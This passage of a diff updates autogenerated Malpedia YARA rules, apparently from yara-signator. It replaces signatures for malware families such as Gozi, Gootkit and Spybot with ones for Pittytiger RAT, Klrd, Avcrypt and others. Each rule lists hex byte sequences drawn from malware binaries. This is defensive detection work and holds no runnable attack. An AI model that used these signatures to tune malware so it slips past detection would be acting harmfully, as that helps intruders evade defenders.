eb0a 8b7508 e8???????? 8bc6 8b4df4 5f 5e } + $sequence_2 = { 7708 c6063f 46 c6063d 46 8bc6 2b45e0 } + $sequence_3 = { c645fc00 e8???????? 8b4df4 8b4508 64890d00000000 5e c9 } + $sequence_4 = { e9???????? 33db 895c2414 8d442414 50 6a01 } + $sequence_5 = { 8bf0 8d442418 8bcb e8???????? 8b08 8b4004 } + $sequence_6 = { e8???????? 53 56 8d4dd8 eb29 } + $sequence_7 = { 8365fc00 6bc01c 03818c000000 56 8b7508 50 } + $sequence_8 = { 8b4d08 83c410 8d5104 8bc1 3bca 7412 } + $sequence_9 = { 50 e8???????? 8bf0 59 8d8528ffffff 50 e8???????? } condition: - 7 of them and filesize < 163840 + 7 of them and filesize < 2912256 } -rule MALPEDIA_Win_Venomloader_Auto : FILE +rule MALPEDIA_Win_Pittytiger_Rat_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "360daa47-065f-559b-a4bd-3c105892d050" + id = "4a10640a-725b-54f9-8b7f-afdce80ef3e7" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.venomloader" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.venomloader_auto.yar#L1-L133" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pittytiger_rat" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pittytiger_rat_auto.yar#L1-L124" license_url = "N/A" - logic_hash = "2a010e987b08fda7866a0ce45dd38105218c7c231dfd9f1e74d7bf8cc14fb654" + logic_hash = "1df7687d7c472496ea30aa086a3178f66e3b2104d4ea79dc045c4e3023b998ae" score = 75 quality = 75 tags = "FILE" @@ -147320,34 +147174,34 @@ rule MALPEDIA_Win_Venomloader_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 48894d10 895518 4c894520 837d1803 7758 837d1802 } - $sequence_1 = { 488d1503ad0a00 c70105000000 48895108 c3 488d15f1ac0a00 c7010b000000 48895108 } - $sequence_2 = { 53 4883ec20 4889cb 488d0d91b90000 e8???????? 4889c2 488b03 } - $sequence_3 = { 4883e918 4c89e2 e8???????? eb88 488d0d07f10400 e8???????? 4889c3 } - $sequence_4 = { 4889742468 0f11742450 e8???????? 488b442470 488b542478 488b9c2488000000 4889542478 } - $sequence_5 = { 48c1ea20 83e201 4c39d9 72df 4983eb01 4d29eb 4983e3fc } - $sequence_6 = { 84d2 0f84b8000000 384549 7452 384548 744d 38c1 } - $sequence_7 = { 4989d0 488d1540910c00 4889c1 e8???????? 488d85d0040000 488d95f0040000 4c8d05d3910c00 } - $sequence_8 = { 4c89e2 4889e9 66897c2468 e8???????? 89c7 84c0 0f85fd050000 } - $sequence_9 = { 48895e18 8b08 85c9 0f853e010000 83430801 488d05e02d0b00 48897e20 } + $sequence_0 = { 50 ffd7 83c410 8d8558f9ffff 50 ff15???????? 50 } + $sequence_1 = { 33db f3ab ff7508 895dfc 66ab aa } + $sequence_2 = { e8???????? 83c428 8d85e0fdffff 50 8b46f8 ff760c c1e005 } + $sequence_3 = { 8d85f8fbffff ffb69c010000 68???????? 50 ffd7 } + $sequence_4 = { 8b1d???????? 59 59 56 ffd3 57 } + $sequence_5 = { 3bc3 a3???????? 0f84f2fdffff 8d45b8 c745c441786100 50 57 } + $sequence_6 = { 56 56 ff15???????? 3bc6 8945f4 0f84bc000000 } + $sequence_7 = { 51 53 56 57 33db bf80000000 53 } + $sequence_8 = { e8???????? 85c0 0f85e2020000 85f6 } + $sequence_9 = { ff750c ff7508 e8???????? 83c420 43 } condition: - 7 of them and filesize < 2592768 + 7 of them and filesize < 2162688 } -rule MALPEDIA_Win_Gozi_Auto : FILE +rule MALPEDIA_Win_Spica_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "9c925d7e-4a58-58b3-a521-9431dccc113c" + id = "fb7e9642-1902-5334-b719-e15942756229" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gozi" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.gozi_auto.yar#L1-L308" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.spica" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.spica_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "d60d7415702d07d989a84ad089c91c9c930dfc0751149612c046eb9a7bf0b686" + logic_hash = "ed495be78d555972a0dc5475fda2591b6a4e5ced1e014a8ddb16a1315155952a" score = 75 - quality = 73 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -147359,54 +147213,32 @@ rule MALPEDIA_Win_Gozi_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b4dd0 03d1 8915???????? 03d9 891d???????? a3???????? } - $sequence_1 = { 6a00 68cee6ac00 52 50 e8???????? 898500ffffff } - $sequence_2 = { 50 ff7508 8d8771030000 ff10 } - $sequence_3 = { fb 5c 3c32 7e02 19c1 a6 3327 } - $sequence_4 = { c9 50 0c73 0e 96 3b5375 60 } - $sequence_5 = { 55 f79bfe7ca80d a7 ad b710 } - $sequence_6 = { 6a00 e8???????? 85c0 0f8899000000 8b45a8 } - $sequence_7 = { 8ee1 54 257c693a5c 48 fb 5c } - $sequence_8 = { e8???????? 03f0 46 ebdc ff75fc e8???????? } - $sequence_9 = { 6a00 6a00 6a00 8d87a2020000 ff10 } - $sequence_10 = { 0f8459010000 50 ff7570 ff15???????? } - $sequence_11 = { 50 8b35???????? ffd6 57 68???????? e8???????? } - $sequence_12 = { 50 68???????? 6a00 e8???????? c745ec01000000 } - $sequence_13 = { 8b4d18 e8???????? 8b45e0 50 } - $sequence_14 = { 3327 72e7 3ebb4a68d947 d93e } - $sequence_15 = { 3818 0f8453feffff 50 e8???????? 89463c ffb574ffffff } - $sequence_16 = { e8???????? ebda 8bc3 c1f805 8d3c85e00c4400 } - $sequence_17 = { 89950cfeffff 8b8d08feffff 0b8d0cfeffff 7431 0fc0f2 } - $sequence_18 = { f6c5ae 69d5e21d6c7f 0fc0f2 0fce 8af4 } - $sequence_19 = { ffb5acfeffff e8???????? 8bd8 039dacfeffff ff7510 53 } - $sequence_20 = { dc6f1b 95 bf633629a8 02738f 1da2c9dde2 } - $sequence_21 = { 84e5 0fce 0fbef4 69f116814003 0faceaca c0d6f6 } - $sequence_22 = { 8b440704 8945a4 50 e8???????? 8b4648 8b7c0708 897da0 } - $sequence_23 = { 68???????? ffb5bcfdffff ff15???????? 897dfc e8???????? 8d85c0fdffff 50 } - $sequence_24 = { 03c7 03cf 83ff1f 0f87a4030000 ff24bd95244300 } - $sequence_25 = { e8???????? 83f8ff 7442 8985fcfeffff 68???????? e8???????? } - $sequence_26 = { 8ad0 4a 8ad0 84c1 } - $sequence_27 = { 6af4 dbe9 68912b4384 2383e08985e4 0572b6e2f4 fd } - $sequence_28 = { 128b42926614 12a502b346d1 41 b87e8da638 e022 } - $sequence_29 = { 68???????? ff75c0 ff15???????? 834dfcff e8???????? ff7508 8d45c4 } - $sequence_30 = { 0f848ffbffff 50 8b4658 8d443804 50 e8???????? 898574ffffff } - $sequence_31 = { 5b 5f c9 c21400 8d87eb040000 8b00 } + $sequence_0 = { f3410f6f9798080000 f3410f6f9fa8080000 660f7f9b20040000 660f7f9310040000 660f7f8b00040000 660f7f83f0030000 41c687a409000001 } + $sequence_1 = { f30f7f01 e9???????? 4883fe08 488b4c2470 480f42ce 488b5c2430 4829d9 } + $sequence_2 = { ff15???????? 4885c0 0f84d9050000 4889c1 488905???????? 41b880000000 31d2 } + $sequence_3 = { eb1b 4d8b8590000000 b800020000 4c234658 b940020000 0f44c1 4533db } + $sequence_4 = { e8???????? 488d95b0000000 4889d9 e8???????? 440fb7f8 0fb74b58 4189cc } + $sequence_5 = { ff5018 4d89fd 84c0 7424 e9???????? 0f854f060000 4c89f1 } + $sequence_6 = { ff15???????? 488b0b 488b93a0000000 4885d2 741b 0fb783c0000000 3bf0 } + $sequence_7 = { 8b442458 4863cb 448bf3 4903cf 4863e8 48c1e520 ffc3 } + $sequence_8 = { ffc7 4983c670 3b7d00 7cab 4c8b742448 488b5c2440 488b6c2450 } + $sequence_9 = { ffc1 f7f1 418bc1 8bcd 442bc2 33d2 41f737 } condition: - 7 of them and filesize < 568320 + 7 of them and filesize < 14034944 } -rule MALPEDIA_Win_Wpbrutebot_Auto : FILE +rule MALPEDIA_Win_Cova_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "79a22dd8-32fa-5f98-87d6-8da78951869d" + id = "d9a7c58b-e153-5509-9dd6-42fb3c64fb6e" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.wpbrutebot" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.wpbrutebot_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cova" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cova_auto.yar#L1-L119" license_url = "N/A" - logic_hash = "5822d74137e23703d26984f7196edc8d3decd3d594175136f45cb9821ea5add2" + logic_hash = "6df5413ed9281b7c21331e877b1103faf7f6d9e2e13d53e94329d8c943fa063c" score = 75 quality = 75 tags = "FILE" @@ -147420,32 +147252,32 @@ rule MALPEDIA_Win_Wpbrutebot_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { c745f85968337b 33c0 c645fc00 8d4809 304c05f8 40 83f804 } - $sequence_1 = { 85c0 0f8438020000 ff7624 8b442418 ff742414 50 50 } - $sequence_2 = { f7e9 c1fa02 8bc2 c1e81f 03c2 83f803 764f } - $sequence_3 = { c1c010 85c3 7416 8b449438 8904ef b810000000 668944ef04 } - $sequence_4 = { ff742458 0f45c8 8d44247c ff742434 55 56 52 } - $sequence_5 = { c3 b8???????? eb0c b8???????? eb05 b8???????? 57 } - $sequence_6 = { c74008???????? c7400ca0f76200 c74010e1000000 c3 e8???????? 85c0 0f8488000000 } - $sequence_7 = { eb10 83f804 755e 807c244020 0f85130d0000 8b442418 8d0480 } - $sequence_8 = { c605????????00 e8???????? b9???????? c645fc05 e8???????? 6a6b 68???????? } - $sequence_9 = { 803f2f 0f8518020000 807f012f 7563 8a4702 83c702 3c2f } + $sequence_0 = { 813bc8000000 7577 488d4d88 ff9598000000 488d4d80 8bf0 b81f85eb51 } + $sequence_1 = { 4c8d8d70120000 4c8d8560010000 4889542430 488d95e0000000 } + $sequence_2 = { 488d442440 4889442428 488d0518a30000 4889442420 4c8b4c2450 4c8b442458 } + $sequence_3 = { 488d8d00150000 ff55b0 448d4e08 4c8d442470 8d1400 488d8d00150000 ff5550 } + $sequence_4 = { 41b806000000 488d158e680000 483950f0 740c 488b10 4885d2 } + $sequence_5 = { 33d2 33c9 ff5778 488bd8 4885c0 741f ba20bf0200 } + $sequence_6 = { 57 4883ec20 488d1ddf5e0000 bf0a000000 } + $sequence_7 = { 7d08 8d4a30 418808 eb06 } + $sequence_8 = { 4885c9 741c f0ff09 7517 488d05bf830000 } + $sequence_9 = { ba20bf0200 488bc8 ff5720 3d80000000 742a } condition: - 7 of them and filesize < 5134336 + 7 of them and filesize < 123904 } -rule MALPEDIA_Win_Get2_Auto : FILE +rule MALPEDIA_Win_Unidentified_108_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "7a0226d0-f79d-5836-a967-6167cb32e47b" + id = "523cac0e-068e-567f-9b67-256b819ee9a9" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.get2" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.get2_auto.yar#L1-L165" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_108" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_108_auto.yar#L1-L114" license_url = "N/A" - logic_hash = "848d65ded147178f011a1ef08b3d4ca3bdaaa4bd6535c16bb052e44171fc3a23" + logic_hash = "ff49cd548bd3e2342145a6556aab556577d4c1ad014ed5644df8b6ae901a1a52" score = 75 quality = 75 tags = "FILE" @@ -147459,38 +147291,32 @@ rule MALPEDIA_Win_Get2_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? 8b4508 8be5 5d c20400 68d0000000 b8???????? } - $sequence_1 = { 0f849e000000 807d0c00 0f859a000000 f6c104 } - $sequence_2 = { 8bf1 8975d0 33ff 8975cc } - $sequence_3 = { 8b4508 660f6ec1 f30fe6c0 c1e91f 51 51 660f6ec8 } - $sequence_4 = { 8d55d8 8d8d24ffffff e8???????? 59 8bc8 } - $sequence_5 = { 83e017 89410c 8b4910 23c8 0f849e000000 807d0c00 } - $sequence_6 = { 895dfc e8???????? c645fc02 eb0b 8d45d8 } - $sequence_7 = { 897e04 897e08 33db c745ec07000000 } - $sequence_8 = { 488d7b38 488d05a6020200 483947f0 741a 488b0f 4885c9 } - $sequence_9 = { 4863c8 488b4308 48894cd008 483b6b10 0f83ba010000 } - $sequence_10 = { 488d8c24f0020000 e8???????? 90 418bd5 488d8c2470040000 } - $sequence_11 = { 488d4c2450 e8???????? 498bcc e8???????? 4c8b642468 } - $sequence_12 = { eb0f 49394e10 720b bb02000000 895c2420 } - $sequence_13 = { 440f45e8 410fb6dd 4c8b7df0 498bcf ff15???????? eb0d } - $sequence_14 = { 488d0503b20200 488bd9 488901 f6c201 740a } - $sequence_15 = { 4c8d0510e00100 488d15c9a40100 e8???????? 488bd8 } + $sequence_0 = { 4c8d05a21d0100 488bf9 488d15a01d0100 b904000000 e8???????? 8bd3 } + $sequence_1 = { 48c1fe06 4c8d2d0a5b0100 83e03f 4c8d24c0 498b44f500 } + $sequence_2 = { 488d15e7f30000 83e03f 4d8bfd 49c1ff06 41b90a000000 488d3cc0 } + $sequence_3 = { 742e 488d5510 0f1f840000000000 803201 } + $sequence_4 = { 8b0d???????? 458bc5 f20f1005???????? 488bf8 } + $sequence_5 = { 488d5201 41ffc0 488d4520 498bcc } + $sequence_6 = { 4c8d15e0f40000 83e03f 498bd5 48c1fa06 } + $sequence_7 = { 736e 488bc3 488bf3 48c1fe06 4c8d2d4ef70000 83e03f } + $sequence_8 = { 486bc000 488d0d5ed50100 8b542430 48891401 488d0dd7250100 e8???????? } + $sequence_9 = { 48894dff 83e03f 458be9 488d0dd066ffff 4c8945e7 } condition: - 7 of them and filesize < 720896 + 7 of them and filesize < 307200 } -rule MALPEDIA_Win_Telb_Auto : FILE +rule MALPEDIA_Win_Klrd_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "888a5e5b-e658-58db-97cc-bf969236e2af" + id = "f2ac53cd-82a8-55ea-badd-f6f1aae58f93" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.telb" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.telb_auto.yar#L1-L122" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.klrd" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.klrd_auto.yar#L1-L127" license_url = "N/A" - logic_hash = "e3ec407f2b3918e01e6c60147a108fc9762a60e1c29d49f9899f4240d976bb07" + logic_hash = "0fc6f030ea4bb49d87359f96c6eceeeaeffbdd94bdee42030f76f2d7ec66a19a" score = 75 quality = 75 tags = "FILE" @@ -147504,32 +147330,32 @@ rule MALPEDIA_Win_Telb_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? a1???????? 33c4 89842404100000 56 57 6a00 } - $sequence_1 = { 51 e8???????? 83c408 8d85e8dfffff c78598dfffff00000000 8985a0dfffff } - $sequence_2 = { eb07 6a16 68???????? e8???????? 8d4c2430 e8???????? } - $sequence_3 = { 81cf00000003 89bd48eeffff 0f1000 0f1185b0eeffff f30f7e4010 } - $sequence_4 = { ffd1 8bf0 8b442414 50 8b08 ff5108 } - $sequence_5 = { 8d8d88efffff e8???????? 33c9 81cf80000000 89bd38eeffff } - $sequence_6 = { c7400400000000 8985e8edffff 8908 c645fc09 8b85a8eeffff 89853ceeffff 8b85dceeffff } - $sequence_7 = { c644241b01 8b14b8 8bca 8d7102 668b01 } - $sequence_8 = { eb06 8bbd48eeffff 80bd4feeffff00 0f84a1010000 51 8d8d88efffff e8???????? } - $sequence_9 = { c7401407000000 668908 8d8db8efffff c645fc28 } + $sequence_0 = { 8d85fcefffff 50 e8???????? 59 50 } + $sequence_1 = { 8d85fcefffff 50 57 ff15???????? 57 ff15???????? } + $sequence_2 = { e8???????? 59 50 8d85fcefffff 50 57 } + $sequence_3 = { 3c00 0f8485020000 3c03 0f847d020000 3c09 0f8475020000 3c08 } + $sequence_4 = { c685c0fdffff00 68ff000000 6a00 8d85c1fdffff 50 e8???????? 83c40c } + $sequence_5 = { 59 59 ff7510 ff750c ff7508 ff35???????? ff15???????? } + $sequence_6 = { ebcc 8a85e7feffff 8885acfcffff 80bdacfcffff08 742f } + $sequence_7 = { 56 56 6a04 56 56 68000000c0 68???????? } + $sequence_8 = { 59 8d7dec f3a5 8b45ec 25ff000000 8885e7feffff 3c00 } + $sequence_9 = { ffb5b0fcffff ff15???????? 8985c8feffff 83bdc8feffff00 7515 ff15???????? } condition: - 7 of them and filesize < 286720 + 7 of them and filesize < 40960 } -rule MALPEDIA_Win_Poohmilk_Auto : FILE +rule MALPEDIA_Win_Collectorgoomba_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "cacedc8f-4cf2-5e4c-8224-5986e70d4e19" + id = "030c7bf4-8b0d-51f1-a0c7-6787c27c5097" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.poohmilk" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.poohmilk_auto.yar#L1-L117" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.collectorgoomba" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.collectorgoomba_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "15b630d72bc25e1b2f8f69f3f9fe553b37147103f16fa6bc4f49ddd60f0d2e34" + logic_hash = "da75c37e8b44a581ccdac242b61ed90697e0dec4be3fbb969cde47a5043e7eae" score = 75 quality = 75 tags = "FILE" @@ -147543,32 +147369,32 @@ rule MALPEDIA_Win_Poohmilk_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { c3 68???????? 8d95ecfdffff 52 } - $sequence_1 = { 0f84de000000 3bf3 0f84d6000000 8b4110 0fb75704 } - $sequence_2 = { 752c ff15???????? 6a05 6a00 6a00 } - $sequence_3 = { 0f84d3000000 33d2 668910 8d85d4f9ffff } - $sequence_4 = { 8b01 33ff 8995f4efffff 397e10 0f86cf000000 } - $sequence_5 = { 83ffff 0f8456ffffff 8b95d4fbffff 6a00 8d8dd0fbffff 51 } - $sequence_6 = { 8bd1 03d7 c785ecefffff00000000 1385ecefffff 89bde8efffff } - $sequence_7 = { 8b8570d2ffff 8b5038 837a3400 7513 8b8d84d2ffff 8b5028 } - $sequence_8 = { 40 80b9b075410000 74e8 8a13 0fb6ca 0fbe89b0754100 } - $sequence_9 = { 33c0 894610 894614 894618 89461c 8b4620 8b4f28 } + $sequence_0 = { ff30 ff7508 e8???????? 59 59 898504ffffff 6af7 } + $sequence_1 = { 8b45f4 c1e803 8b4d08 8b4954 0fb60401 8b4df4 83e107 } + $sequence_2 = { ff75fc e8???????? 83c410 ff75c8 ff7588 6a7a ff75fc } + $sequence_3 = { ff702c ff7508 e8???????? 83c40c ff75f4 6a24 ff75fc } + $sequence_4 = { ff750c ff75e8 ff75e4 e8???????? 83c414 8b4df4 64890d00000000 } + $sequence_5 = { ff15???????? 59 8b4514 83e002 7421 ff7518 8b4514 } + $sequence_6 = { ffb594feffff ffb590feffff e8???????? 83c40c c645fc23 8d8d54fcffff e8???????? } + $sequence_7 = { ff75f8 e8???????? 83c418 33c0 40 e9???????? 8b450c } + $sequence_8 = { ffb558ffffff ffb554ffffff 8b4508 ff30 e8???????? 83c418 8945d0 } + $sequence_9 = { ffb518ffffff 8d8500fdffff 50 e8???????? 83c40c 898514ffffff 8b8514ffffff } condition: - 7 of them and filesize < 245760 + 7 of them and filesize < 1400832 } -rule MALPEDIA_Win_Alphanc_Auto : FILE +rule MALPEDIA_Win_Avcrypt_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "44e5cd2d-dd6f-5dec-8633-e36984c0d4b0" + id = "6717dbdb-f4ba-5c23-a152-195fba62bfc4" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.alphanc" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.alphanc_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.avcrypt" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.avcrypt_auto.yar#L1-L129" license_url = "N/A" - logic_hash = "d03fa53d22f05f45f0bb38627a16b1b71ce74e44da84ac0b88c2ab879180e110" + logic_hash = "88e8fd00aad138bd5391f93ff200b42a3193bfb4856f2e79b29034d74d91998c" score = 75 quality = 75 tags = "FILE" @@ -147582,32 +147408,32 @@ rule MALPEDIA_Win_Alphanc_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ff15???????? 8d45f0 8d4de8 50 51 ff15???????? 57 } - $sequence_1 = { 8d044544ce4e00 eb59 8d044542ce4e00 eb50 f6c303 740d 0fb74208 } - $sequence_2 = { 8b6c2424 55 56 e8???????? 8b542458 83c408 8d4aff } - $sequence_3 = { bf50000000 6a41 e9???????? 56 e8???????? 83c404 85c0 } - $sequence_4 = { e8???????? 85c0 7526 8a4b7c 8a142e 32d1 6857a0a6f8 } - $sequence_5 = { 8b6c2438 68f1000000 68???????? 6a68 6891000000 6a04 e8???????? } - $sequence_6 = { 8b7c240c 8b4604 894704 8b0e 8b5608 51 52 } - $sequence_7 = { e8???????? 8be8 83c40c 85ed 753e b841000000 6852010000 } - $sequence_8 = { 8b4d04 83c102 3bc1 7cef 8b5504 83c202 895704 } - $sequence_9 = { 57 e8???????? 83c408 85c0 0f8489000000 8b0f 8b5500 } + $sequence_0 = { e8???????? 83c40c 8d4dc0 e8???????? be???????? c745fc02000000 56 } + $sequence_1 = { 0fb7c8 b8ffff0000 663bc1 8b4dec 6a04 58 } + $sequence_2 = { ddd8 db2d???????? b801000000 833d????????00 0f8516a20000 ba05000000 8d0d60974300 } + $sequence_3 = { 8b00 837dec08 8d4dd8 8bd0 0f434dd8 } + $sequence_4 = { e8???????? 59 8365fc00 8b049d80b54300 f644380401 7413 ff7510 } + $sequence_5 = { 8ac3 e8???????? c3 68a4020000 b8???????? e8???????? 8bc2 } + $sequence_6 = { 68???????? 6a18 6a18 50 e8???????? e8???????? } + $sequence_7 = { b44b 5a baa5c94fad 90 302c83 2d2171e50b } + $sequence_8 = { 48 7412 e8???????? c70016000000 e8???????? ebb4 c745e440be4300 } + $sequence_9 = { 8965c8 68???????? e8???????? 83ec18 c645fc14 8bcc 68???????? } condition: - 7 of them and filesize < 2015232 + 7 of them and filesize < 6160384 } -rule MALPEDIA_Win_Spybot_Auto : FILE +rule MALPEDIA_Win_Banatrix_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "f487b739-5a23-52d3-8b27-57437fc4fe82" + id = "6974f81a-af90-539d-af3d-94a99f9a6ee8" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.spybot" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.spybot_auto.yar#L1-L132" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.banatrix" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.banatrix_auto.yar#L1-L120" license_url = "N/A" - logic_hash = "086db381edc017239cf316ebb3a9419f50149c95f9ac3a29e8ecb7d10b4a280d" + logic_hash = "c6cf826d5b4f12a87f113cad069f8b787ae4fd983cd321b74f5d11035bda50a6" score = 75 quality = 75 tags = "FILE" @@ -147621,34 +147447,34 @@ rule MALPEDIA_Win_Spybot_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8975f8 8975f0 68???????? ff750c ff7508 e8???????? 83c418 } - $sequence_1 = { 6a03 8b5c2414 99 59 33ff f7f9 8bf2 } - $sequence_2 = { 59 e9???????? 57 68???????? e8???????? 59 85c0 } - $sequence_3 = { 33f6 ff7508 56 ff15???????? 85c0 7429 } - $sequence_4 = { 33f6 ffb56cffffff 57 e8???????? 59 85c0 59 } - $sequence_5 = { 8945f0 8945f4 8945f8 8945fc a1???????? 85c0 7411 } - $sequence_6 = { 8bb43570ffffff 3bf3 897508 0f8469a4ffff 399d54ffffff 0f855da4ffff 68???????? } - $sequence_7 = { ff7020 8d85fcfdffff 68???????? 50 e8???????? 6a01 } - $sequence_8 = { ff7514 8975fc e8???????? 56 8945ec ff7510 897514 } - $sequence_9 = { e9???????? ffb570ffffff 68???????? e8???????? 59 85c0 59 } + $sequence_0 = { e9???????? 8b470c 85c0 74e3 } + $sequence_1 = { 8b45cc d16dd0 8b4dd0 8d34c8 8b0e 81e1ffffff7f 034dc8 } + $sequence_2 = { 0f44d0 e9???????? 7418 8b75d4 } + $sequence_3 = { 89c2 ebe0 0f86dc000000 8d7101 } + $sequence_4 = { 5f 5d c3 55 89e5 83ec28 8b4514 } + $sequence_5 = { 8d4101 c74424080a000000 890424 c745e400000000 e8???????? 89c6 } + $sequence_6 = { 894314 8b4510 897b04 c7430800000000 c7431000000000 } + $sequence_7 = { 010c37 ff45d0 ebcb 01fa ebb4 8b7dd0 } + $sequence_8 = { e8???????? 895c2408 c744240400000000 890424 e8???????? 83ec0c } + $sequence_9 = { 83ec10 85c0 8945d4 7542 8b45d0 c744240c04000000 c744240800300000 } condition: - 7 of them and filesize < 2367488 + 7 of them and filesize < 180224 } -rule MALPEDIA_Win_Gootkit_Auto : FILE +rule MALPEDIA_Win_Mayberobot_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "cc674f83-d3cc-5cc6-8f48-f7ded72789f2" + id = "c92428ca-450d-55ec-a6b0-19554a59efc9" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gootkit" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.gootkit_auto.yar#L1-L334" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mayberobot" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mayberobot_auto.yar#L1-L117" license_url = "N/A" - logic_hash = "e886088177ff2cbe60c39328c9402db705beff1123d5a11d85e3c6ea020086bf" + logic_hash = "7a87fd7bc03b1a4ed615fd0a81f85d5bd0e66326980b2da4e2257c81318fa9fe" score = 75 - quality = 73 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -147660,59 +147486,32 @@ rule MALPEDIA_Win_Gootkit_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 41 3bca 72f2 56 6a00 ff15???????? } - $sequence_1 = { 3bca 72f2 335df0 6a10 58 } - $sequence_2 = { 33c0 85c9 0f444508 5d c20400 } - $sequence_3 = { 50 56 ff15???????? 56 ffd7 8bd0 33ff } - $sequence_4 = { 59 85c0 740c 8b30 33ff 0375dc } - $sequence_5 = { 8b840888000000 eb04 8b440878 03c1 c3 } - $sequence_6 = { e8???????? 8b5dfc ff75f4 6a00 ff15???????? } - $sequence_7 = { 894df4 50 ff75fc ffd7 85c0 744b } - $sequence_8 = { f3aa 68???????? ff15???????? 50 } - $sequence_9 = { 8b7df4 32c0 8b4de4 f3aa } - $sequence_10 = { 50 68???????? ff15???????? 85c0 7505 e8???????? } - $sequence_11 = { 50 e8???????? 83c40c 68fd000000 } - $sequence_12 = { 50 8b4508 8b00 99 } - $sequence_13 = { c705????????01000000 c705????????02000000 8be5 5d } - $sequence_14 = { 833d????????00 750a 6a32 ff15???????? } - $sequence_15 = { e8???????? 6a0c 6a08 ff15???????? 50 ff15???????? } - $sequence_16 = { 6808020000 6a00 ff15???????? 50 } - $sequence_17 = { 6a02 ff15???????? 6888130000 ff15???????? } 